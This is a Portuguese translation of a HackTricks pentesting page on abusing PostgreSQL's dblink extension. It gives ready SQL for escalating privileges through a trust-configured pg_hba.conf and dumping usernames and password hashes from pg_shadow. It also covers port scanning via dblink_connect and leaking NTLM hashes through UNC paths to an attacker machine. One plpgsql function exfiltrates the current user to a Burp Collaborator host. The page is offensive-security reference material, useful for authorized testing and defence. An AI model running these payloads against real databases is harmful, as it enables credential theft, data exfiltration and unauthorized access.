mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-23 03:23:44 +00:00
123 lines
7 KiB
Markdown
123 lines
7 KiB
Markdown
Desde o PostgreSQL 9.1, a instalação de módulos adicionais é simples. As extensões registradas, como `dblink`, podem ser instaladas com o comando [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html).
|
|
```sql
|
|
CREATE EXTENSION dblink;
|
|
```
|
|
Depois de carregar o dblink, você pode ser capaz de realizar alguns truques interessantes:
|
|
|
|
## Escalada de privilégios
|
|
|
|
O arquivo `pg_hba.conf` pode estar mal configurado, **permitindo conexões** de **localhost como qualquer usuário** sem precisar saber a senha. Esse arquivo pode ser encontrado tipicamente em `/etc/postgresql/12/main/pg_hba.conf` e uma má configuração se parece com:
|
|
```
|
|
local all all trust
|
|
```
|
|
_Nota-se que essa configuração é comumente usada para modificar a senha de um usuário de banco de dados quando o administrador a esquece, então às vezes você pode encontrá-la._\
|
|
_Nota-se também que o arquivo pg\_hba.conf só pode ser lido pelo usuário e grupo postgres e só pode ser escrito pelo usuário postgres._
|
|
|
|
Esse caso é **útil se** você **já** tem um **shell** dentro da vítima, pois permitirá que você se conecte ao banco de dados postgresql.
|
|
|
|
Outra possível má configuração consiste em algo como:
|
|
```
|
|
host all all 127.0.0.1/32 trust
|
|
```
|
|
Como permitirá que qualquer pessoa do localhost se conecte ao banco de dados como qualquer usuário.\
|
|
Neste caso e se a função **`dblink`** estiver **funcionando**, você poderá **escalar privilégios** conectando-se ao banco de dados por meio de uma conexão já estabelecida e acessar dados aos quais não deveria ter acesso:
|
|
```sql
|
|
SELECT * FROM dblink('host=127.0.0.1
|
|
user=postgres
|
|
dbname=postgres',
|
|
'SELECT datname FROM pg_database')
|
|
RETURNS (result TEXT);
|
|
|
|
SELECT * FROM dblink('host=127.0.0.1
|
|
user=postgres
|
|
dbname=postgres',
|
|
'select usename, passwd from pg_shadow')
|
|
RETURNS (result1 TEXT, result2 TEXT);
|
|
```
|
|
## Varredura de Portas
|
|
|
|
Aproveitando o `dblink_connect`, você também pode **procurar por portas abertas**. Se essa **função não funcionar, você deve tentar usar `dblink_connect_u()`** pois a documentação diz que _`dblink_connect_u()` é idêntico ao `dblink_connect()`, exceto que permitirá que usuários não-superusuários se conectem usando qualquer método de autenticação_.
|
|
```sql
|
|
SELECT * FROM dblink_connect('host=216.58.212.238
|
|
port=443
|
|
user=name
|
|
password=secret
|
|
dbname=abc
|
|
connect_timeout=10');
|
|
//Different response
|
|
// Port closed
|
|
RROR: could not establish connection
|
|
DETAIL: could not connect to server: Connection refused
|
|
Is the server running on host "127.0.0.1" and accepting
|
|
TCP/IP connections on port 4444?
|
|
|
|
// Port Filtered/Timeout
|
|
ERROR: could not establish connection
|
|
DETAIL: timeout expired
|
|
|
|
// Accessing HTTP server
|
|
ERROR: could not establish connection
|
|
DETAIL: timeout expired
|
|
|
|
// Accessing HTTPS server
|
|
ERROR: could not establish connection
|
|
DETAIL: received invalid response to SSL negotiation:
|
|
```
|
|
Observe que **antes** de poder usar `dblink_connect` ou `dblink_connect_u`, você pode precisar executar:
|
|
```
|
|
CREATE extension dblink;
|
|
```
|
|
## Caminho UNC - Divulgação de hash NTLM
|
|
|
|
### Descrição
|
|
|
|
O protocolo NTLM (NT LAN Manager) é um protocolo de autenticação usado em redes Windows. Ele usa um hash NTLM para autenticar usuários e é vulnerável a ataques de divulgação de hash.
|
|
|
|
Um atacante pode usar um caminho UNC (Universal Naming Convention) para obter o hash NTLM de um usuário que se conecta a um recurso compartilhado na rede. O caminho UNC é uma convenção de nomenclatura que permite acessar recursos em uma rede usando seu nome de compartilhamento.
|
|
|
|
### Exploração
|
|
|
|
Para explorar essa vulnerabilidade, o atacante precisa ter acesso a um recurso compartilhado na rede que o usuário esteja acessando. O atacante pode então usar um sniffer de rede para capturar o tráfego entre o usuário e o recurso compartilhado.
|
|
|
|
O tráfego capturado incluirá o hash NTLM do usuário, que pode ser facilmente extraído usando ferramentas como o Responder. O atacante pode então usar o hash NTLM para realizar ataques de força bruta e obter as credenciais do usuário.
|
|
|
|
### Mitigação
|
|
|
|
Para mitigar essa vulnerabilidade, é recomendável usar autenticação baseada em token em vez de autenticação baseada em hash. Além disso, é importante limitar o acesso a recursos compartilhados na rede apenas a usuários autorizados.
|
|
|
|
Também é recomendável usar criptografia forte para proteger o tráfego de rede e monitorar o tráfego de rede em busca de atividades suspeitas.
|
|
```sql
|
|
-- can be used to leak hashes to Responder/equivalent
|
|
CREATE TABLE test();
|
|
COPY test FROM E'\\\\attacker-machine\\footestbar.txt';
|
|
```
|
|
|
|
```sql
|
|
-- to extract the value of user and send it to Burp Collaborator
|
|
CREATE TABLE test(retval text);
|
|
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
|
|
DECLARE sqlstring TEXT;
|
|
DECLARE userval TEXT;
|
|
BEGIN
|
|
SELECT INTO userval (SELECT user);
|
|
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
|
|
EXECUTE sqlstring;
|
|
END;
|
|
$$ LANGUAGE plpgsql SECURITY DEFINER;
|
|
SELECT testfunc();
|
|
```
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
|
|
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
|
|
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
|
|
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|